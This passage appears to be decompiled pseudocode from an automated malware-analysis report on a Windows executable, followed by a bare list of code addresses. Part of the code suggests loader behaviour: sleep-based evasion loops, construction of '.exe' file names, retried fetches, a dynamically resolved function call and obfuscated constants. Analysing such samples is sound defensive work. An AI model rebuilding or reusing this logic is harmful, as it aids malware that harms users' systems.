																				__eflags = _t1184 -  *((intOrPtr*)(_t1500 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L313;
																				} else {
																					goto L127;
																				}
																			}
																		}
																	} else {
																		_t1501 = _v428;
																		_t1640 = _t1636 + 1;
																		_t1188 = _t1501;
																		__eflags = _t1640 - 0x1000;
																		if(_t1640 < 0x1000) {
																			L123:
																			_push(_t1640);
																			E0040F1B0(_t1501);
																			_t1700 = _t1700 + 8;
																			goto L124;
																		} else {
																			_t1347 =  *((intOrPtr*)(_t1501 - 4));
																			_t1546 = _t1640 + 0x23;
																			__eflags = _t1188 -  *((intOrPtr*)(_t1501 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L313;
																			} else {
																				goto L123;
																			}
																		}
																	}
																} else {
																	_t1502 = _v476;
																	_t1641 = _t1635 + 1;
																	_t1192 = _t1502;
																	__eflags = _t1641 - 0x1000;
																	if(_t1641 < 0x1000) {
																		L119:
																		_push(_t1641);
																		E0040F1B0(_t1502);
																		_t1700 = _t1700 + 8;
																		goto L120;
																	} else {
																		_t1347 =  *((intOrPtr*)(_t1502 - 4));
																		_t1546 = _t1641 + 0x23;
																		__eflags = _t1192 -  *((intOrPtr*)(_t1502 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L313;
																		} else {
																			goto L119;
																		}
																	}
																}
															}
														} else {
															_t1503 = _v452;
															_t1610 = _t1610 + 1;
															_t1198 = _t1503;
															__eflags = _t1610 - 0x1000;
															if(_t1610 < 0x1000) {
																L109:
																_push(_t1610);
																E0040F1B0(_t1503);
																_t1700 = _t1700 + 8;
																goto L110;
															} else {
																_t1347 =  *((intOrPtr*)(_t1503 - 4));
																_t1546 = _t1610 + 0x23;
																__eflags = _t1198 -  *((intOrPtr*)(_t1503 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L109;
																}
															}
														}
													} else {
														_t1504 = _v428;
														_t1642 = _t1609 + 1;
														_t1202 = _t1504;
														__eflags = _t1642 - 0x1000;
														if(_t1642 < 0x1000) {
															L105:
															_push(_t1642);
															E0040F1B0(_t1504);
															_t1700 = _t1700 + 8;
															goto L106;
														} else {
															_t1347 =  *((intOrPtr*)(_t1504 - 4));
															_t1546 = _t1642 + 0x23;
															__eflags = _t1202 -  *((intOrPtr*)(_t1504 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L105;
															}
														}
													}
												} else {
													_t1505 = _v476;
													_t1643 = _t1608 + 1;
													_t1206 = _t1505;
													__eflags = _t1643 - 0x1000;
													if(_t1643 < 0x1000) {
														L101:
														_push(_t1643);
														E0040F1B0(_t1505);
														_t1700 = _t1700 + 8;
														goto L102;
													} else {
														_t1347 =  *((intOrPtr*)(_t1505 - 4));
														_t1546 = _t1643 + 0x23;
														__eflags = _t1206 -  *((intOrPtr*)(_t1505 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L313;
														} else {
															goto L101;
														}
													}
												}
											} else {
												_push(_t1463);
												_t1220 = E0040CB20( &_v452,  &_v396);
												_v16 = 0xa;
												_t1221 = E0040CD40( &_v428, _t1220,  &_v348);
												_t1700 = _t1736 + 8;
												_t1509 = _t1221;
												_v16 = 0xb;
												_t1669 =  *(_t1509 + 0x14);
												_t1646 =  *(_t1509 + 0x10);
												__eflags = _t1669 - _t1646 - 4;
												if(_t1669 - _t1646 < 4) {
													_v400 = 0;
													_t1509 = E00402980(_t1296, _t1509, _t1669, _t1673, 4, _v400, ".exe", 4);
												} else {
													 *(_t1509 + 0x10) = _t1646 + 4;
													_t1241 = _t1509;
													__eflags = _t1669 - 0x10;
													if(_t1669 >= 0x10) {
														_t1241 =  *_t1509;
													}
													 *((intOrPtr*)(_t1241 + _t1646)) = 0x6578652e;
													 *((char*)(_t1241 + _t1646 + 4)) = 0;
												}
												 *_t1673 = 0;
												 *(_t1673 + 0x10) = 0;
												 *(_t1673 + 0x14) = 0;
												asm("movups xmm0, [ecx]");
												asm("movups [esi], xmm0");
												asm("movq xmm0, [ecx+0x10]");
												asm("movq [esi+0x10], xmm0");
												 *(_t1509 + 0x10) = 0;
												 *(_t1509 + 0x14) = 0xf;
												 *_t1509 = 0;
												_t1647 = _v408;
												__eflags = _t1647 - 0x10;
												if(_t1647 < 0x10) {
													L75:
													_t1648 = _v432;
													_v412 = 0;
													_v408 = 0xf;
													_v428 = 0;
													__eflags = _t1648 - 0x10;
													if(_t1648 < 0x10) {
														L79:
														_t1649 = _v328;
														_v436 = 0;
														_v432 = 0xf;
														_v452 = 0;
														__eflags = _t1649 - 0x10;
														if(_t1649 < 0x10) {
															L83:
															_t1650 = _v352;
															_v332 = 0;
															_v328 = 0xf;
															_v348 = 0;
															__eflags = _t1650 - 0x10;
															if(__eflags < 0) {
																goto L38;
															} else {
																_t1488 = _v372;
																_t1626 = _t1650 + 1;
																_t1225 = _t1488;
																__eflags = _t1626 - 0x1000;
																if(__eflags < 0) {
																	goto L37;
																} else {
																	_t1347 =  *((intOrPtr*)(_t1488 - 4));
																	_t1546 = _t1626 + 0x23;
																	__eflags = _t1225 -  *((intOrPtr*)(_t1488 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L313;
																	} else {
																		goto L37;
																	}
																}
															}
														} else {
															_t1510 = _v348;
															_t1651 = _t1649 + 1;
															_t1228 = _t1510;
															__eflags = _t1651 - 0x1000;
															if(_t1651 < 0x1000) {
																L82:
																_push(_t1651);
																E0040F1B0(_t1510);
																_t1700 = _t1700 + 8;
																goto L83;
															} else {
																_t1347 =  *((intOrPtr*)(_t1510 - 4));
																_t1546 = _t1651 + 0x23;
																__eflags = _t1228 -  *((intOrPtr*)(_t1510 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L82;
																}
															}
														}
													} else {
														_t1511 = _v452;
														_t1652 = _t1648 + 1;
														_t1232 = _t1511;
														__eflags = _t1652 - 0x1000;
														if(_t1652 < 0x1000) {
															L78:
															_push(_t1652);
															E0040F1B0(_t1511);
															_t1700 = _t1700 + 8;
															goto L79;
														} else {
															_t1347 =  *((intOrPtr*)(_t1511 - 4));
															_t1546 = _t1652 + 0x23;
															__eflags = _t1232 -  *((intOrPtr*)(_t1511 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L78;
															}
														}
													}
												} else {
													_t1512 = _v428;
													_t1653 = _t1647 + 1;
													_t1236 = _t1512;
													__eflags = _t1653 - 0x1000;
													if(_t1653 < 0x1000) {
														L74:
														_push(_t1653);
														E0040F1B0(_t1512);
														_t1700 = _t1700 + 8;
														goto L75;
													} else {
														_t1347 =  *((intOrPtr*)(_t1512 - 4));
														_t1546 = _t1653 + 0x23;
														__eflags = _t1236 -  *((intOrPtr*)(_t1512 - 4)) + 0xfffffffc - 0x1f;
														if(__eflags > 0) {
															goto L313;
														} else {
															goto L74;
														}
													}
												}
											}
										} else {
											_t1513 = _v324;
											_t1604 =  &(1[_t1604]);
											_t1242 = _t1513;
											__eflags = _t1604 - 0x1000;
											if(_t1604 < 0x1000) {
												L64:
												_push(_t1604);
												E0040F1B0(_t1513);
												_t1700 = _t1700 + 8;
												goto L65;
											} else {
												_t1347 =  *((intOrPtr*)(_t1513 - 4));
												_t1546 = _t1604 + 0x23;
												__eflags = _t1242 -  *((intOrPtr*)(_t1513 - 4)) + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L314;
												} else {
													goto L64;
												}
											}
										}
									} else {
										_t1514 = _v452;
										_t1654 = _t1603 + 1;
										_t1246 = _t1514;
										__eflags = _t1654 - 0x1000;
										if(_t1654 < 0x1000) {
											L60:
											_push(_t1654);
											E0040F1B0(_t1514);
											_t1700 = _t1700 + 8;
											goto L61;
										} else {
											_t1347 =  *((intOrPtr*)(_t1514 - 4));
											_t1546 = _t1654 + 0x23;
											__eflags = _t1246 -  *((intOrPtr*)(_t1514 - 4)) + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												goto L314;
											} else {
												goto L60;
											}
										}
									}
								} else {
									_t1515 = _v428;
									_t1655 = _t1602 + 1;
									_t1250 = _t1515;
									__eflags = _t1655 - 0x1000;
									if(_t1655 < 0x1000) {
										L56:
										_push(_t1655);
										E0040F1B0(_t1515);
										_t1700 = _t1700 + 8;
										goto L57;
									} else {
										_t1347 =  *((intOrPtr*)(_t1515 - 4));
										_t1546 = _t1655 + 0x23;
										__eflags = _t1250 -  *((intOrPtr*)(_t1515 - 4)) + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L314;
										} else {
											goto L56;
										}
									}
								}
							} else {
								_push(_t1454);
								_t1262 = E0040CB20( &_v452,  &_v396);
								_v16 = 5;
								_t1263 = E0040CD40( &_v428, _t1262,  &_v348);
								_t1700 = _t1733 + 8;
								_t1519 = _t1263;
								_v16 = 6;
								_t1669 =  *(_t1519 + 0x14);
								_t1658 =  *(_t1519 + 0x10);
								if(_t1669 - _t1658 < 4) {
									_v400 = 0;
									_t1519 = E00402980(_t1296, _t1519, _t1669, _t1673, 4, _v400, ".exe", 4);
								} else {
									 *(_t1519 + 0x10) = _t1658 + 4;
									_t1283 = _t1519;
									if(_t1669 >= 0x10) {
										_t1283 =  *_t1519;
									}
									 *((intOrPtr*)(_t1283 + _t1658)) = 0x6578652e;
									 *((char*)(_t1283 + _t1658 + 4)) = 0;
								}
								 *_t1673 = 0;
								 *(_t1673 + 0x10) = 0;
								 *(_t1673 + 0x14) = 0;
								asm("movups xmm0, [ecx]");
								asm("movups [esi], xmm0");
								asm("movq xmm0, [ecx+0x10]");
								asm("movq [esi+0x10], xmm0");
								 *(_t1519 + 0x10) = 0;
								 *(_t1519 + 0x14) = 0xf;
								 *_t1519 = 0;
								_t1659 = _v408;
								if(_t1659 < 0x10) {
									L26:
									_t1660 = _v432;
									_v412 = 0;
									_v408 = 0xf;
									_v428 = 0;
									if(_t1660 < 0x10) {
										L30:
										_t1661 = _v328;
										_v436 = 0;
										_v432 = 0xf;
										_v452 = 0;
										if(_t1661 < 0x10) {
											L34:
											_t1662 = _v352;
											_v332 = 0;
											_v328 = 0xf;
											_v348 = 0;
											if(_t1662 < 0x10) {
												L38:
												_v356 = 0;
												_v352 = 0xf;
												_v372 = 0;
												L39:
												_t1546 = _v376;
												if(_t1546 < 0x10) {
													L311:
													 *[fs:0x0] = _v24;
													_pop(_t1670);
													_pop(_t1674);
													return E0040EF6F(_t1673, _t1296, _v32 ^ _t1682, _t1546, _t1670, _t1674);
												} else {
													_t1424 = _v396;
													_t1546 =  &(1[_t1546]);
													_t977 = _t1424;
													if(_t1546 < 0x1000) {
														L274:
														_push(_t1546);
														E0040F1B0(_t1424);
														goto L311;
													} else {
														_t1347 =  *((intOrPtr*)(_t1424 - 4));
														_t1546 = _t1546 + 0x23;
														if(_t977 -  *((intOrPtr*)(_t1424 - 4)) + 0xfffffffc > 0x1f) {
															goto L313;
														} else {
															goto L274;
														}
													}
												}
											} else {
												_t1488 = _v372;
												_t1626 = _t1662 + 1;
												_t1267 = _t1488;
												if(_t1626 < 0x1000) {
													L37:
													_push(_t1626);
													E0040F1B0(_t1488);
													_t1700 = _t1700 + 8;
													goto L38;
												} else {
													_t1347 =  *((intOrPtr*)(_t1488 - 4));
													_t1546 = _t1626 + 0x23;
													if(_t1267 -  *((intOrPtr*)(_t1488 - 4)) + 0xfffffffc > 0x1f) {
														goto L313;
													} else {
														goto L37;
													}
												}
											}
										} else {
											_t1520 = _v348;
											_t1663 = _t1661 + 1;
											_t1270 = _t1520;
											if(_t1663 < 0x1000) {
												L33:
												_push(_t1663);
												E0040F1B0(_t1520);
												_t1700 = _t1700 + 8;
												goto L34;
											} else {
												_t1347 =  *((intOrPtr*)(_t1520 - 4));
												_t1546 = _t1663 + 0x23;
												if(_t1270 -  *((intOrPtr*)(_t1520 - 4)) + 0xfffffffc > 0x1f) {
													goto L313;
												} else {
													goto L33;
												}
											}
										}
									} else {
										_t1521 = _v452;
										_t1664 = _t1660 + 1;
										_t1274 = _t1521;
										if(_t1664 < 0x1000) {
											L29:
											_push(_t1664);
											E0040F1B0(_t1521);
											_t1700 = _t1700 + 8;
											goto L30;
										} else {
											_t1347 =  *((intOrPtr*)(_t1521 - 4));
											_t1546 = _t1664 + 0x23;
											if(_t1274 -  *((intOrPtr*)(_t1521 - 4)) + 0xfffffffc > 0x1f) {
												goto L313;
											} else {
												goto L29;
											}
										}
									}
								} else {
									_t1522 = _v428;
									_t1665 = _t1659 + 1;
									_t1278 = _t1522;
									if(_t1665 < 0x1000) {
										L25:
										_push(_t1665);
										E0040F1B0(_t1522);
										_t1700 = _t1700 + 8;
										goto L26;
									} else {
										_t1347 =  *((intOrPtr*)(_t1522 - 4));
										_t1546 = _t1665 + 0x23;
										if(_t1278 -  *((intOrPtr*)(_t1522 - 4)) + 0xfffffffc > 0x1f) {
											goto L313;
										} else {
											goto L25;
										}
									}
								}
							}
						} else {
							_t1523 = _v476;
							_t1598 = _t1598 + 1;
							_t1284 = _t1523;
							if(_t1598 < 0x1000) {
								L15:
								_push(_t1598);
								E0040F1B0(_t1523);
								_t1700 = _t1700 + 8;
								goto L16;
							} else {
								_t1347 =  *((intOrPtr*)(_t1523 - 4));
								_t1546 = _t1598 + 0x23;
								if(_t1284 -  *((intOrPtr*)(_t1523 - 4)) + 0xfffffffc > 0x1f) {
									goto L312;
								} else {
									goto L15;
								}
							}
						}
					} else {
						_t1524 = _v428;
						_t1666 = _t1597 + 1;
						_t1289 = _t1524;
						if(_t1666 < 0x1000) {
							L11:
							_push(_t1666);
							E0040F1B0(_t1524);
							_t1700 = _t1700 + 8;
							goto L12;
						} else {
							_t1347 =  *((intOrPtr*)(_t1524 - 4));
							_t1546 = _t1666 + 0x23;
							if(_t1289 -  *((intOrPtr*)(_t1524 - 4)) + 0xfffffffc > 0x1f) {
								L312:
								E004138D7(_t1296, _t1546, __eflags);
								L313:
								E004138D7(_t1296, _t1546, __eflags);
								L314:
								E004138D7(_t1296, _t1546, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t1682);
								_t1684 = _t1700;
								_push(0xffffffff);
								_push(0x42cdd7);
								_push( *[fs:0x0]);
								_t1708 = _t1700 - 0x4dc;
								_t863 =  *0x43d054; // 0xd71f2cec
								_t864 = _t863 ^ _t1684;
								_v508 = _t864;
								_push(_t1296);
								_push(_t1673);
								_push(_t1669);
								_push(_t864);
								 *[fs:0x0] =  &_v504;
								_v496 = 0;
								_t866 = E00405F40(_t1296, _t1669); // executed
								_t1298 = Sleep;
								__eflags = _t866;
								if(__eflags != 0) {
									_t1673 = 0x7d0;
									do {
										_t947 = E004181A9(_t1347, __eflags);
										asm("cdq");
										_t1546 = _t947 % 0x7d0 + 0x3e8;
										Sleep(_t947 % 0x7d0 + 0x3e8);
										__eflags = E00405F40(Sleep, _t1669);
									} while (__eflags != 0);
								}
								E00401960( &_v760, "1"); // executed
								_v20 = 1;
								_t1671 = E00402510( &_v1152, E0040BCA0(E004092F0(_t1298, _t1546, _t1669, _t1673)));
								_v20 = 2;
								_t1675 = E00402510( &_v1128, E0040BB80(E00409240(_t1546, _t870, _t1673)));
								_v20 = 3;
								L350();
								_t875 = E00402510( &_v1272, E0040BAF0(_t873));
								_v20 = 4;
								_t876 = E0040CCE0( &_v1248, 0x450e5c, _t875);
								_v20 = 5;
								_t877 = E0040CD40( &_v1224, _t876,  &_v8);
								_v20 = 6;
								_t878 = E0040CDF0( &_v1200, _t877, _t873);
								_v20 = 7;
								_t879 = E0040CDF0( &_v1176, _t878, _t870);
								_v20 = 8;
								E0040CD40( &_v104, _t879, 0x450e44);
								_t1714 = _t1708 - 0x10 + 0x14;
								E00402440(_t1298,  &_v1176);
								E00402440(_t1298,  &_v1200);
								E00402440(_t1298,  &_v1224);
								E00402440(_t1298,  &_v1248);
								E00402440(_t1298,  &_v1272);
								E00402440(_t1298,  &_v1128);
								_v20 = 0x10;
								E00402440(_t1298,  &_v1152);
								while(1) {
									_t889 = E00402300(_t1298,  &_v760, _t1671, E00402400( &_v104)); // executed
									__eflags = _t889;
									if(_t889 == 0) {
										goto L323;
									}
									E00402510( &_v56, E00402370( &_v760));
									_t1555 = "0";
									_t892 = E00402800( &_v56, "0");
									__eflags = _t892;
									if(_t892 == 0) {
										_t1555 = "1";
										_t945 = E00402800( &_v56, "1");
										__eflags = _t945;
										if(_t945 == 0) {
											E00402440(_t1298,  &_v56);
											goto L323;
										}
									}
									E00402440(_t1298,  &_v56);
									E0040BF20( &_v80);
									_t1715 = _t1714 - 0x10;
									_v20 = 0x11;
									E00401960( &_v1088, "0"); // executed
									_v20 = 0x12;
									while(1) {
										_t898 = E00402510( &_v1128, E0040BC40(E00409380(_t1298, _t1555, _t1671, _t1675)));
										_t1555 = 0x450e74;
										_v20 = 0x15;
										_t899 = E0040CCE0( &_v1152, 0x450e74, _t898);
										_t1715 = _t1715 + 4;
										_v20 = 0x16;
										_t901 = E00402300(_t1298,  &_v1088, _t1671, E00402400(_t899)); // executed
										_t1675 = _t901;
										E00402440(_t1298,  &_v1152);
										_v20 = 0x12;
										E00402440(_t1298,  &_v1128);
										__eflags = _t901;
										if(_t901 == 0) {
											goto L328;
										}
										E00402410( &_v80, E00402370( &_v1088));
										_t906 = E004023F0( &_v80);
										__eflags = _t906 - 0xa;
										if(_t906 <= 0xa) {
											goto L328;
										}
										__eflags = _t906 - 0x64;
										if(_t906 >= 0x64) {
											goto L328;
										}
										_t1716 = _t1715 - 0x10;
										_t1676 = 0;
										__eflags = 0;
										E00401960( &_v432, "1"); // executed
										_v20 = 0x17;
										do {
											_v1104 = _t1676 + 1;
											_t910 = E00402510( &_v1128, E0040BAC0(E00409410(_t1555, _t1671, _t1676 + 1)));
											_t1555 = 0x450e74;
											_v20 = 0x1a;
											_t911 = E0040CCE0( &_v1152, 0x450e74, _t910);
											_t1716 = _t1716 + 4;
											_v20 = 0x1b;
											_t913 = E00402300(_t1298,  &_v432, _t1671, E00402400(_t911)); // executed
											E00402440(_t1298,  &_v1152);
											_v20 = 0x17;
											E00402440(_t1298,  &_v1128);
											__eflags = _t913;
											if(_t913 == 0) {
												goto L333;
											} else {
												_t1298 = E00402380( &_v432);
												__eflags = _t1298 - 0x16;
												if(__eflags <= 0) {
													goto L333;
												} else {
													_push( ~(0 | __eflags > 0x00000000) |  &(1[_t1298]));
													_t929 = E0041669E();
													_t760 =  &(1[_t1298]); // 0x1
													_t1671 = _t929;
													_t930 = E00402340( &_v432, _t929, _t760);
													_push( ~(0 | __eflags > 0x00000000) | _t1298 * 0x00000002); // executed
													_t933 = E0041669E(); // executed
													_t1722 = _t1716 + 4 - 0x14;
													_v1092 = _t933;
													E0040BF40(_t1298, _t1722, _t1298 * 2 >> 0x20, _t929,  &_v80);
													_t937 = E00403770(_t1298, _t929, _t930, _t1671,  &_v1092); // executed
													_t1555 = _t937;
													_t938 = E00402B60(_v1092, _t937, __eflags,  &_v1100,  &_v1100); // executed
													_t1716 = _t1722 + 0x24;
													_v1096 = _t938;
													__eflags = _v1100;
													if(_v1100 != 0) {
														_t1671 = Sleep;
														_t1676 = 0;
														_v1092 = 0;
														_t1298 = 0;
														__eflags = 0;
														do {
															_t1413 = _v1096(E00402400(0x450e8c), E00402400(0x450e14));
															_t1716 = _t1716 + 8;
															_t942 = _v1092;
															_t1555 = 1;
															__eflags = _t942;
															if(_t942 != 0) {
																__eflags = _t1413;
																_t1298 =  ==  ? 1 : _t1298 & 0x000000ff;
															}
															__eflags = _t1676 - 0xa;
															if(_t1676 >= 0xa) {
																__eflags = _t1413 - 1;
																_t1298 =  !=  ? _t1555 : _t1298 & 0x000000ff;
															}
															__eflags = _t1676 - 0xf;
															if(_t1676 < 0xf) {
																__eflags = _t1676 - 5;
																if(_t1676 < 5) {
																	goto L346;
																} else {
																	goto L344;
																}
															} else {
																__eflags = _t1413 - 1;
																if(_t1413 == 1) {
																	_t1298 = _t1413;
																}
																L344:
																__eflags = _t942;
																if(_t942 != 0) {
																	goto L346;
																} else {
																	__eflags = _t1413 - 0xfffffffe;
																	if(__eflags == 0) {
																		Sleep(0x7d0); // executed
																	} else {
																		goto L346;
																	}
																}
															}
															goto L349;
															L346:
															__eflags = _t1413 - 1;
															_t944 =  ==  ? _t1555 : _t942 & 0x000000ff;
															_t1676 = _t1676 + 1;
															_v1092 =  ==  ? _t1555 : _t942 & 0x000000ff;
															Sleep(0x7d0); // executed
															__eflags = _t1298;
														} while (__eflags == 0);
													} else {
														goto L333;
													}
												}
											}
											L349:
											E004054C0(_t1298, __eflags); // executed
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t1684);
											_t1685 = _t1716;
											_t917 =  *0x43d054; // 0xd71f2cec
											_v1772 = _t917 ^ _t1685;
											asm("movaps xmm0, [0x439d70]");
											asm("movups [ebp-0x24], xmm0");
											_v1788 = 0x5a405b41;
											_t1394 =  *( *[fs:0x2c]);
											_t920 =  *0x450f68; // 0x8000001a
											_v1784 = 0x5e465e00;
											_v1780 = 0x4c5b5d11;
											_v1776 = 0x2e13;
											__eflags = _t920 -  *((intOrPtr*)(_t1394 + 4));
											if(_t920 >  *((intOrPtr*)(_t1394 + 4))) {
												E0040F2F9(_t920, 0x450f68);
												__eflags =  *0x450f68 - 0xffffffff;
												if( *0x450f68 == 0xffffffff) {
													E0040BB20(0x450dd0,  &_v56);
													E0040F60B(0x450dd0, __eflags, 0x42d8b0);
													E0040F2AF(0x450f68);
												}
											}
											__eflags = _v24 ^ _t1685;
											return E0040EF6F(0x450dd0, _t1298, _v24 ^ _t1685, _t1555, _t1671, _t1676);
											goto L354;
											L333:
											_t1676 = _v1104;
											__eflags = _t1676 - 0xa;
										} while (__eflags < 0);
										goto L349;
										L328:
										Sleep(0xbb8);
									}
									L323:
									Sleep(0xbb8);
								}
							} else {
								goto L11;
							}
						}
					}
				}
				L354:
			}

0x00406aa0
0x00406aa1
0x00406aa9
0x00406ab0
0x00406ab4
0x00406ab6
0x00406ab8
0x00406ac3
0x00406ac4
0x00406ac5
0x00406acb
0x00406ad0
0x00406ad2
0x00406ad5
0x00406ad6
0x00406ad7
0x00406adb
0x00406ae1
0x00406ae3
0x00406ae9
0x00406aef
0x00406af9
0x00406b03
0x00406b0d
0x00406b14
0x00406b1b
0x00406b22
0x00407e4e
0x00407e53
0x00407e57
0x00407e5c
0x00407e6d
0x00407e72
0x00407e7c
0x00407e83
0x00407e85
0x00407e8a
0x00407e90
0x00407e97
0x00407e9c
0x00407e9f
0x00407ea6
0x00407ea8
0x00407eba
0x00407ec1
0x00407ec6
0x00407ed3
0x00407ed8
0x00407ed8
0x00407ea6
0x00407edb
0x00407ee0
0x00407ee2
0x00407ee4
0x00407eed
0x00407ef4
0x00407ef8
0x00407efd
0x00407efd
0x00407f04
0x00407f09
0x00407f13
0x00407f1d
0x00407f27
0x00407f2e
0x00407f2e
0x00407f31
0x00407f31
0x00407f33
0x00407f34
0x00407f34
0x00407f46
0x00407f4b
0x00407f4f
0x00407f57
0x00407f5f
0x00407f62
0x00407f92
0x00407fa7
0x00407f64
0x00407f64
0x00407f67
0x00407f6a
0x00407f76
0x00407f7d
0x00407f83
0x00407f83
0x00407fac
0x00407fb6
0x00407fc0
0x00407fca
0x00407fcd
0x00407fd4
0x00407fd9
0x00407fe1
0x00407fe8
0x00407fef
0x00407ff8
0x00408009
0x0040800e
0x00408018
0x0040801d
0x00408023
0x00408026
0x00408057
0x00408057
0x0040805b
0x00408061
0x0040806b
0x00408075
0x0040807c
0x0040807f
0x004080b0
0x004080b0
0x004080b4
0x004080ba
0x004080c4
0x004080ce
0x004080d5
0x004080d8
0x00408109
0x00408109
0x00408114
0x0040811b
0x00408120
0x00408123
0x0040812d
0x00408130
0x00408135
0x00408139
0x0040813e
0x00408141
0x00408143
0x00408356
0x0040835b
0x00408365
0x0040836f
0x00408379
0x00408382
0x00408389
0x0040838f
0x00408396
0x0040839b
0x0040839e
0x004083a5
0x004083ad
0x004083b5
0x004083c1
0x004083d2
0x004083da
0x004083df
0x004083ec
0x004083f1
0x004083f1
0x004083a5
0x004083f4
0x004083fb
0x004083fd
0x004083fd
0x00408400
0x00408400
0x00408407
0x00408408
0x00408408
0x00408400
0x0040840d
0x00408412
0x0040841c
0x00408426
0x00408430
0x00408437
0x00408437
0x0040843a
0x00408440
0x00408440
0x00408442
0x00408443
0x00408443
0x00408455
0x0040845a
0x0040845e
0x00408466
0x0040846e
0x00408471
0x004084a1
0x004084b6
0x00408473
0x00408473
0x00408476
0x00408479
0x00408485
0x0040848c
0x00408492
0x00408492
0x004084bb
0x004084c5
0x004084cf
0x004084d9
0x004084dc
0x004084e3
0x004084e8
0x004084f0
0x004084f7
0x004084fe
0x00408507
0x00408518
0x0040851d
0x00408527
0x0040852c
0x00408532
0x00408535
0x00408566
0x00408566
0x0040856a
0x00408570
0x0040857a
0x00408584
0x0040858b
0x0040858e
0x004085bf
0x004085bf
0x004085c3
0x004085c9
0x004085d3
0x004085dd
0x004085e4
0x004085e7
0x00408618
0x00408618
0x00408623
0x0040862a
0x0040862f
0x00408632
0x0040863c
0x0040863f
0x00408644
0x00408648
0x0040864d
0x00408650
0x00408652
0x00408878
0x0040887d
0x00408887
0x00408891
0x00408897
0x0040889e
0x004088a3
0x004088a6
0x004088ad
0x004088c0
0x004088c5
0x004088cb
0x004088d8
0x004088dd
0x004088dd
0x004088ad
0x004088e0
0x004088e5
0x004088e7
0x004088e9
0x004088f0
0x004088f7
0x004088fe
0x00408905
0x0040890c
0x00408913
0x0040891a
0x0040891a
0x0040891c
0x0040891c
0x00408921
0x00408926
0x00408930
0x0040893a
0x00408944
0x0040894b
0x0040894b
0x00408950
0x00408950
0x00408952
0x00408953
0x00408953
0x00408965
0x0040896a
0x0040896e
0x00408976
0x0040897e
0x00408981
0x004089b1
0x004089c6
0x00408983
0x00408983
0x00408986
0x00408989
0x00408995
0x0040899c
0x004089a2
0x004089a2
0x004089cb
0x004089d5
0x004089df
0x004089e9
0x004089ec
0x004089f3
0x004089f8
0x00408a00
0x00408a07
0x00408a0e
0x00408a17
0x00408a28
0x00408a2d
0x00408a37
0x00408a3c
0x00408a42
0x00408a45
0x00408a76
0x00408a76
0x00408a7a
0x00408a80
0x00408a8a
0x00408a94
0x00408a9b
0x00408a9e
0x00408acf
0x00408acf
0x00408ad3
0x00408ad9
0x00408ae3
0x00408aed
0x00408af4
0x00408af7
0x00408b28
0x00408b28
0x00408b33
0x00408b3a
0x00408b3f
0x00408b42
0x00408b4c
0x00408b4f
0x00408b54
0x00408b58
0x00408b5d
0x00408b60
0x00408b62
0x00408c9a
0x00408ca5
0x00408ca9
0x00000000
0x00408b68
0x00408b68
0x00408b75
0x00408b83
0x00408b90
0x00408b95
0x00408b98
0x00408b9a
0x00408b9e
0x00408ba3
0x00408ba8
0x00408bab
0x00408bd1
0x00408be5
0x00408bad
0x00408bb0
0x00408bb3
0x00408bb5
0x00408bb8
0x00408bba
0x00408bba
0x00408bbc
0x00408bc3
0x00408bc3
0x00408be7
0x00408bed
0x00408bf4
0x00408bfb
0x00408bfe
0x00408c01
0x00408c06
0x00408c0b
0x00408c12
0x00408c19
0x00408c1c
0x00408c22
0x00408c25
0x00408c56
0x00408c5c
0x00408c66
0x00408c70
0x00408c77
0x00408c82
0x00408c8d
0x00000000
0x00408c27
0x00408c27
0x00408c2d
0x00408c2e
0x00408c30
0x00408c36
0x00408c4c
0x00408c4c
0x00408c4e
0x00000000
0x00408c38
0x00408c38
0x00408c3b
0x00408c43
0x00408c46
0x00000000
0x00000000
0x00000000
0x00000000
0x00408c46
0x00408c36
0x00408c25
0x00408af9
0x00408af9
0x00408aff
0x00408b00
0x00408b02
0x00408b08
0x00408b1e
0x00408b1e
0x00408b20
0x00408b25
0x00000000
0x00408b0a
0x00408b0a
0x00408b0d
0x00408b15
0x00408b18
0x00000000
0x00000000
0x00000000
0x00000000
0x00408b18
0x00408b08
0x00408aa0
0x00408aa0
0x00408aa6
0x00408aa7
0x00408aa9
0x00408aaf
0x00408ac5
0x00408ac5
0x00408ac7
0x00408acc
0x00000000
0x00408ab1
0x00408ab1
0x00408ab4
0x00408abc
0x00408abf
0x00000000
0x00000000
0x00000000
0x00000000
0x00408abf
0x00408aaf
0x00408a47
0x00408a47
0x00408a4d
0x00408a4e
0x00408a50
0x00408a56
0x00408a6c
0x00408a6c
0x00408a6e
0x00408a73
0x00000000
0x00408a58
0x00408a58
0x00408a5b
0x00408a63
0x00408a66
0x00000000
0x00000000
0x00000000
0x00000000
0x00408a66
0x00408a56
0x00408658
0x00408658
0x00408665
0x00408673
0x00408680
0x00408685
0x00408688
0x0040868a
0x0040868e
0x00408693
0x00408698
0x0040869b
0x004086c1
0x004086d5
0x0040869d
0x004086a0
0x004086a3
0x004086a5
0x004086a8
0x004086aa
0x004086aa
0x004086ac
0x004086b3
0x004086b3
0x004086d7
0x004086dd
0x004086e4
0x004086eb
0x004086ee
0x004086f1
0x004086f6
0x004086fb
0x00408702
0x00408709
0x0040870c
0x00408712
0x00408715
0x00408746
0x00408746
0x0040874c
0x00408756
0x00408760
0x00408767
0x0040876a
0x0040879b
0x0040879b
0x004087a1
0x004087ab
0x004087b5
0x004087bc
0x004087bf
0x004087f0
0x004087f0
0x004087f6
0x00408800
0x0040880a
0x00408811
0x00408814
0x00000000
0x0040881a
0x0040881a
0x00408820
